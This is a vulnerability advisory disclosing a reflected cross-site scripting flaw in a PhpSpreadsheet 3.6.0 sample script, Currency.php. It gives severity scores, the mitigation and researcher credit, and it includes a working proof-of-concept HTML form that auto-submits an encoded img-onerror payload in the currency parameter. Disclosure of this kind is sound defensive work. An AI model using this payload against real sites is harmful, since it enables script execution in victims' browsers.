PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, controlled by an attacker.

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)